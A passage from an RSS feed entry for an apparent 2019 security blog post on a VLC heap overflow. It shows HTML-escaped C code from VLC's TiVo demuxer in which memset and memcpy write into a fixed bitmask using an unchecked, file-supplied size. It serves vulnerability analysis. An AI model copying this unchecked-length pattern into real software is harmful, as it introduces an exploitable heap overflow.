    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i_seq_table_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;stream_Read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_demux&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mst_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i_map_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;seq_table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;l_timestamp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;U64_AT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mst_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i_map_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;msg_Err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_demux&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Unsupported SEQ bitmap size in master chunk&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;seq_table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chunk_bitmask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i_map_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;memcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;seq_table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chunk_bitmask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mst_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i_map_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;=================&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CODE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BREAK&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=====================&lt;/span&gt;

&lt;span class=&quot;cp&quot;&gt;#define TIVO_PES_FILEID   ( 0xf5467abd ) [13]
&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;=================&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CODE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BREAK&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=====================&lt;/span&gt;

&lt;span class=&quot;cm&quot;&gt;/* check if it&apos;s a PART Header */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;U32_AT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_peek&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TIVO_PES_FILEID&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;cm&quot;&gt;/* parse master chunk */&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;parse_master&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_demux&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get_chunk_header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_demux&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</description>
        <pubDate>Tue, 08 Oct 2019 01:00:00 -0400</pubDate>
        <link>https://shellsharks.com/vlc-heap-overflow</link>
        <guid isPermaLink="true">https://shellsharks.com/vlc-heap-overflow</guid>
        
        <category>dev</category>
        
        <category>cve</category>
        
        <category>infosec</category>
        
        <category>red</category>
        
        <category>reverseengineering</category>
        
        <category>ida</category>
        
        <category>exploitdev</category>
        
        <category>technical</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
      </item>
    
  </channel>
</rss>
